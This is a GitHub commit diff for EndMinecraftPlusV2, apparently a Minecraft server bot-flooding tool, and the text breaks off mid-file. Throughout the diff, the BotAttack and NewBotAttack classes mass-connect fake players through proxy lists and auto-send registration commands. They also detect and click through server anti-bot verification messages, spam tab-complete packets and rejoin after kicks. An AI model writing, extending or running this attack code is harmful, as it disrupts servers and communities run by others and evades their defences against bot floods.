运行效率优化 默认配置调优

This commit is contained in:
SerendipityR 2022-10-06 02:47:09 +08:00 committed by GitHub
parent 8b721effe1
commit 98870a9f6c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
13 changed files with 292 additions and 305 deletions

View File

@ -6,14 +6,17 @@ import com.github.steveice10.packetlib.ProxyInfo;
import com.github.steveice10.packetlib.Session;
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class VersionSupport578 {
public TcpSessionFactory createTcpSessionFactory(ProxyInfo proxyInfo) {
return new TcpSessionFactory(proxyInfo);
}
public static boolean clickVerifiesHandle(Message message, Session session, List<String> ClickVerifiesDetect) {
public static Map<String, String> clickVerifiesHandle(Message message, Session session, List<String> ClickVerifiesDetect) {
Map<String, String> result = new HashMap<>();
boolean needClick = false;
if (message.getStyle().getClickEvent() != null) {
@ -26,16 +29,20 @@ public class VersionSupport578 {
}
if (needClick) {
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
return true;
String msg = message.getStyle().getClickEvent().getValue();
session.send(new ClientChatPacket(msg));
result.put("result", "true");
result.put("msg", msg);
return result;
}
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
for (Message extraMessage:message.getExtra()) {
clickVerifiesHandle(extraMessage, session, ClickVerifiesDetect);
return clickVerifiesHandle(extraMessage, session, ClickVerifiesDetect);
}
}
return false;
result.put("result", "false");
return result;
}
}

View File

@ -9,17 +9,15 @@ import com.github.steveice10.packetlib.tcp.TcpClientSession;
import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.*;
public class VersionSupport754 {
public static Session getSession(String ip, Integer port, String username, ProxyInfo proxyInfo) {
return new TcpClientSession(ip, port, new MinecraftProtocol(username), proxyInfo);
}
public static List<String> clickVerifiesHandle(ServerChatPacket packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
List<String> result = new ArrayList<>();
public static Map<String, String> clickVerifiesHandle(ServerChatPacket packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
Map<String, String> result = new HashMap<>();
boolean needClick = false;
Component message;
@ -41,21 +39,20 @@ public class VersionSupport754 {
}
if (needClick) {
session.send(new ClientChatPacket(Objects.requireNonNull(message.style().clickEvent()).value()));
result.add("1");
result.add(simpleMsg);
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
session.send(new ClientChatPacket(msg));
result.put("result", "true");
result.put("msg", msg);
return result;
}
if (!message.children().isEmpty()) {
for (Component extraMessage:message.children()) {
clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
}
}
result.add("0");
result.add(simpleMsg);
result.put("result", "false");
return result;
}
}

View File

@ -11,19 +11,19 @@ import com.github.steveice10.packetlib.packet.Packet;
import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.io.File;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
public class VersionSupport758 {
public static List<String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
public static Map<String, String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
ClientboundChatPacket chatPacket = (ClientboundChatPacket) packet;
List<String> result = new ArrayList<>();
Map<String, String> result = new HashMap<>();
boolean needClick = false;
Component message;
@ -45,10 +45,10 @@ public class VersionSupport758 {
}
if (needClick) {
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value()));
result.add("1");
result.add(simpleMsg);
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
session.send(new ServerboundChatPacket(msg));
result.put("result", "true");
result.put("msg", msg);
return result;
}
@ -58,8 +58,8 @@ public class VersionSupport758 {
}
}
result.add("0");
result.add(simpleMsg);
result.put("result", "false");
result.put("msg", simpleMsg);
return result;
}

View File

@ -8,15 +8,13 @@ import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.time.Instant;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.*;
public class VersionSupport759 {
public static List<String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
public static Map<String, String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
List<String> result = new ArrayList<>();
Map<String, String> result = new HashMap<>();
boolean needClick = false;
Component message;
@ -38,21 +36,21 @@ public class VersionSupport759 {
}
if (needClick) {
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false));
result.add("1");
result.add(simpleMsg);
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0, new byte[0], false));
result.put("result", "true");
result.put("msg", msg);
return result;
}
if (!message.children().isEmpty()) {
for (Component extraMessage:message.children()) {
clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
}
}
result.add("0");
result.add(simpleMsg);
result.put("result", "false");
result.put("msg", simpleMsg);
return result;
}

View File

@ -8,15 +8,13 @@ import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.time.Instant;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.*;
public class VersionSupport760 {
public static List<String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
public static Map<String, String> clickVerifiesHandle(Packet packet, Session session, List<String> ClickVerifiesDetect, Component Message) {
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
List<String> result = new ArrayList<>();
Map<String, String> result = new HashMap<>();
boolean needClick = false;
Component message;
@ -39,20 +37,20 @@ public class VersionSupport760 {
if (needClick) {
session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false, new ArrayList<>(), null));
result.add("1");
result.add(simpleMsg);
result.add(Objects.requireNonNull(message.style().clickEvent()).value());
String msg = Objects.requireNonNull(message.style().clickEvent()).value();
result.put("result", "true");
result.put("msg", msg);
return result;
}
if (!message.children().isEmpty()) {
for (Component extraMessage:message.children()) {
clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage);
}
}
result.add("0");
result.add(simpleMsg);
result.put("result", "false");
result.put("msg", simpleMsg);
return result;
}

View File

@ -29,6 +29,6 @@ public class LogUtil {
}
public static void emptyLog() {
System.out.println("");
System.out.println();
}
}

View File

@ -78,21 +78,6 @@ public class OtherUtils {
return (float) (Math.random()*(max-min)+min);
}
@SuppressWarnings("unchecked")
public static <T> T getCo(String date, T def) {
if (date.equals("")) {
return def;
}
return (T) date;
}
public static int getCo(String date, int def) {
if (date.equals("")) {
return def;
}
return Integer.parseInt(date);
}
public static void loadLibrary(File file) {
try {
URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();

View File

@ -26,9 +26,7 @@ import com.github.steveice10.packetlib.event.session.*;
import com.github.steveice10.packetlib.packet.Packet;
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
import io.netty.util.internal.ConcurrentSet;
import sun.rmi.runtime.Log;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Proxy;
@ -40,10 +38,11 @@ import java.util.concurrent.Executors;
public class BotAttack extends IAttack {
public static HashMap<Client, String> clientName = new HashMap<>();
public static int failed = 0;
public static int joined = 0;
public static int rejoin = 0;
public static int clickVerifies = 0;
public static List<String> alivePlayers = new ArrayList<>();
public static List<String> rejoinPlayers = new ArrayList<>();
public static List<Session> joinedPlayers = new ArrayList<>();
public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
protected boolean attack_motdbefore;
protected boolean attack_tab;
@ -106,7 +105,6 @@ public class BotAttack extends IAttack {
OtherUtils.doSleep(ConfigUtil.ChatDelay);
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
}
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
}
@ -114,8 +112,6 @@ public class BotAttack extends IAttack {
}
}
}
OtherUtils.doSleep(1000);
}
});
@ -148,7 +144,7 @@ public class BotAttack extends IAttack {
tabThread = new Thread(() -> {
while (true) {
for (Client c : clients) {
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
}
}
@ -183,11 +179,14 @@ public class BotAttack extends IAttack {
String username = clientName.get(client);
if (!client.getSession().isConnected()) {
positionPacket.remove(client.getSession());
alivePlayers.remove(username);
clientName.remove(client);
clients.remove(client);
} else if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
alivePlayers.add(username);
} else {
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
alivePlayers.add(username);
}
}
}
}
@ -205,44 +204,39 @@ public class BotAttack extends IAttack {
break;
}
boolean run = true;
while (run) {
for (String p: ProxyUtil.proxies) {
try {
if (!EndMinecraftPlusV2.isLinux) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
}
String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (this.attack_motdbefore) {
pool.submit(() -> {
getMotd(proxy, ip, port);
client.getSession().connect(false);
});
} else {
client.getSession().connect(false);
}
if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep);
}
if (clients.size() > this.attack_maxconnect) {
run = false;
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
for (String p: ProxyUtil.proxies) {
try {
if (!EndMinecraftPlusV2.isLinux) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
}
String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
pool.submit(() -> {
if (this.attack_motdbefore) {
getMotd(proxy, ip, port);
}
client.getSession().connect(false);
});
if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep);
}
if (clients.size() > this.attack_maxconnect) {
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
}
}
@ -282,20 +276,12 @@ public class BotAttack extends IAttack {
client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {
new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start();
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void packetReceived(Session session, Packet packet) {
new Thread(() -> {
handlePacket(session, packet, username);
}).start();
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void packetSending(PacketSendingEvent packetSendingEvent) {
@ -315,25 +301,30 @@ public class BotAttack extends IAttack {
}
public void connected(ConnectedEvent e) {
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void disconnecting(DisconnectingEvent e) {
}
public void disconnected(DisconnectedEvent e) {
String msg;
new Thread(() -> {
String msg;
if (e.getCause() == null) {
msg = e.getReason();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
if (e.getCause() == null) {
msg = e.getReason();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (rejoinPlayers.contains(username)) {
break;
}
if (msg.contains(rejoinDetect)) {
rejoinPlayers.add(username);
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) {
new Thread(() -> {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
@ -346,23 +337,24 @@ public class BotAttack extends IAttack {
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
rejoinPlayers.remove(username);
break;
}
}
}).start();
rejoinPlayers.remove(username);
}
}
} else if (ConfigUtil.ShowFails) {
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
}
} else if (ConfigUtil.ShowFails) {
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
}
failed++;
alivePlayers.remove(username);
client.getSession().disconnect("");
clients.remove(client);
failed++;
alivePlayers.remove(username);
}).start();
}
});
return client;
@ -372,22 +364,14 @@ public class BotAttack extends IAttack {
try {
Socket socket = new Socket(proxy);
socket.connect(new InetSocketAddress(ip, port));
if (socket.isConnected()) {
OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
out.write(new byte[]{0x01, 0x00});
out.flush();
in.read();
try {
in.close();
out.close();
socket.close();
} catch (Exception ignored) {}
return;
}
socket.close();
} catch (Exception ignored) {}
}
@ -416,7 +400,8 @@ public class BotAttack extends IAttack {
} else if (recvPacket instanceof ServerJoinGamePacket) {
session.setFlag("join", true);
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
joined++;
joinedPlayers.add(session);
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
@ -436,26 +421,41 @@ public class BotAttack extends IAttack {
} else if (recvPacket instanceof ServerChatPacket) {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
if (ProtocolLibs.adaptAfter578) {
if (VersionSupport578.clickVerifiesHandle(chatPacket.getMessage(), session, ConfigUtil.ClickVerifiesDetect)) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + chatPacket.getMessage().getStyle().getClickEvent().getValue(), "BotAttack");
clickVerifies++;
} else if (!chatPacket.getMessage().toString().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + chatPacket.getMessage(), "BotAttack");
}
Message message = chatPacket.getMessage();
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
if (ProtocolLibs.adaptAfter578) {
Map<String, String> result = VersionSupport578.clickVerifiesHandle(message, session, ConfigUtil.ClickVerifiesDetect);
if (result.get("result").contains("true")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
clickVerifies++;
}
} else {
clickVerifiesHandle(chatPacket.getMessage(), session, username);
clickVerifiesHandle(message, session, username);
}
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
}
} else if (recvPacket instanceof ServerKeepAlivePacket) {
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
session.send(keepAlivePacket);
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
}
}
@ -475,14 +475,6 @@ public class BotAttack extends IAttack {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
clickVerifies++;
} else {
if (!message.getText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
}
if (message.getExtra() != null && !message.getExtra().isEmpty()) {

View File

@ -6,6 +6,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
import com.github.steveice10.mc.protocol.data.message.Message;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
@ -31,7 +32,6 @@ import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Proxy;
@ -43,10 +43,11 @@ import java.util.concurrent.Executors;
public class NewBotAttack extends IAttack {
public static HashMap<Session, String> clientName = new HashMap<>();
public static int failed = 0;
public static int joined = 0;
public static int rejoin = 0;
public static int clickVerifies = 0;
public static List<String> alivePlayers = new ArrayList<>();
public static List<String> rejoinPlayers = new ArrayList<>();
public static List<Session> joinedPlayers = new ArrayList<>();
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
public static HashMap<Session,ClientboundPlayerPositionPacket> newPositionPacket = new HashMap<>();
protected boolean attack_motdbefore;
@ -153,8 +154,6 @@ public class NewBotAttack extends IAttack {
}
}
}
OtherUtils.doSleep(1000);
}
});
@ -186,7 +185,7 @@ public class NewBotAttack extends IAttack {
tabThread = new Thread(() -> {
while (true) {
for (Session c : clients) {
if (c.isConnected() && c.hasFlag("join")) {
if (c.isConnected() && c.hasFlag("login")) {
if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendTabPacket(c, "/");
} else {
@ -225,11 +224,14 @@ public class NewBotAttack extends IAttack {
String username = clientName.get(client);
if (!client.isConnected()) {
positionPacket.remove(client);
alivePlayers.remove(username);
clientName.remove(client);
clients.remove(client);
} else if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) {
alivePlayers.add(username);
} else {
if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) {
alivePlayers.add(username);
}
}
}
}
@ -247,47 +249,41 @@ public class NewBotAttack extends IAttack {
break;
}
boolean run = true;
while (run) {
for (String p: ProxyUtil.proxies) {
try {
if (!EndMinecraftPlusV2.isLinux) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
}
String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Session client = createClient(ip, port, User[0], proxy);
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client, proxy);
if (this.attack_motdbefore) {
pool.submit(() -> {
getMotd(proxy, ip, port);
client.connect(false);
});
} else {
client.connect(false);
}
if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep);
}
if (clients.size() > this.attack_maxconnect) {
run = false;
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
for (String p: ProxyUtil.proxies) {
try {
if (!EndMinecraftPlusV2.isLinux) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
}
String[] _p = p.split(":");
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Session client = createClient(ip, port, User[0], proxy);
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client, proxy);
pool.submit(() -> {
if (this.attack_motdbefore) {
getMotd(proxy, ip, port);
}
client.connect(false);
});
if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep);
}
if (clients.size() > this.attack_maxconnect) {
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
}
}
public Session createClient(final String ip, int port, final String username, Proxy proxy) {
@ -327,10 +323,6 @@ public class NewBotAttack extends IAttack {
handlePacket(e.getSession(), e.getPacket(), username);
}
}).start();
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void packetReceived(Session session, Packet packet) {
@ -341,10 +333,6 @@ public class NewBotAttack extends IAttack {
handlePacket(session, packet, username);
}
}).start();
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void packetSending(PacketSendingEvent packetSendingEvent) {
@ -364,31 +352,36 @@ public class NewBotAttack extends IAttack {
}
public void connected(ConnectedEvent e) {
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void disconnecting(DisconnectingEvent e) {
}
public void disconnected(DisconnectedEvent e) {
String msg;
new Thread(() -> {
String msg;
if (e.getCause() == null) {
msg = e.getReason();
if (e.getCause() == null) {
msg = e.getReason();
if (ProtocolLibs.adaptAfter754) {
Component component = GsonComponentSerializer.gson().deserialize(msg);
msg = PlainTextComponentSerializer.plainText().serialize(component);
}
if (ProtocolLibs.adaptAfter754) {
Component component = GsonComponentSerializer.gson().deserialize(msg);
msg = PlainTextComponentSerializer.plainText().serialize(component);
}
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (rejoinPlayers.contains(username)) {
break;
}
if (msg.contains(rejoinDetect)) {
rejoinPlayers.add(username);
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) {
new Thread(() -> {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
@ -401,24 +394,24 @@ public class NewBotAttack extends IAttack {
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.connect(false);
ProxyUtil.clientsProxy.put(client, proxy);
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
rejoinPlayers.remove(username);
break;
}
}
}).start();
rejoinPlayers.remove(username);
}
}
} else if (ConfigUtil.ShowFails) {
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
}
} else if (ConfigUtil.ShowFails) {
//msg = e.getCause().getMessage();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
}
failed++;
alivePlayers.remove(username);
client.disconnect("");
clients.remove(client);
failed++;
alivePlayers.remove(username);
}).start();
}
});
return client;
@ -428,22 +421,14 @@ public class NewBotAttack extends IAttack {
try {
Socket socket = new Socket(proxy);
socket.connect(new InetSocketAddress(ip, port));
if (socket.isConnected()) {
OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
out.write(new byte[]{0x01, 0x00});
out.flush();
in.read();
try {
in.close();
out.close();
socket.close();
} catch (Exception ignored) {}
return;
}
socket.close();
} catch (Exception ignored) {}
}
@ -471,7 +456,7 @@ public class NewBotAttack extends IAttack {
} else if (recvPacket instanceof ServerJoinGamePacket) {
session.setFlag("join", true);
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
joined++;
joinedPlayers.add(session);
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
@ -490,20 +475,24 @@ public class NewBotAttack extends IAttack {
} else if (recvPacket instanceof ServerChatPacket) {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
Message message = chatPacket.getMessage();
Map<String, String> result = VersionSupport754.clickVerifiesHandle(chatPacket, session, ConfigUtil.ClickVerifiesDetect, null);
if (ProtocolLibs.adaptAfter754) {
List<String> result = VersionSupport754.clickVerifiesHandle(chatPacket, session, ConfigUtil.ClickVerifiesDetect, null);
if (result.get("result").contains("true")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
clickVerifies++;
}
if (result.get(0).equals("1")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
clickVerifies++;
} else if (!result.get(1).equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
}
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages && !message.getText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
}
} else if (recvPacket instanceof ServerKeepAlivePacket) {
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
@ -535,7 +524,7 @@ public class NewBotAttack extends IAttack {
} else if (recvPacket instanceof ClientboundLoginPacket) {
session.setFlag("join", true);
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
joined++;
joinedPlayers.add(session);
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
@ -558,44 +547,62 @@ public class NewBotAttack extends IAttack {
newPositionPacket.put(session,packet);
} catch (Exception ignored) {}
} else if (ProtocolLibs.adaptAfter760 && VersionSupport760.checkServerChatPacket(recvPacket)) {
List<String> result = VersionSupport760.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
Map<String, String> result = VersionSupport760.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
if (result.get(0).equals("1")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
if (result.get("result").contains("true")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
clickVerifies++;
} else if (!result.get(1).equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
}
if (!joinedPlayers.contains(session)) {
joinedPlayers.add(session);
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
}
} else if (VersionSupport759.checkServerChatPacket(recvPacket)) {
List<String> result = VersionSupport759.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
Map<String, String> result = VersionSupport759.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
if (result.get(0).equals("1")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
if (result.get("result").contains("true")) {
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
clickVerifies++;
} else if (!result.get(1).equals("")) {
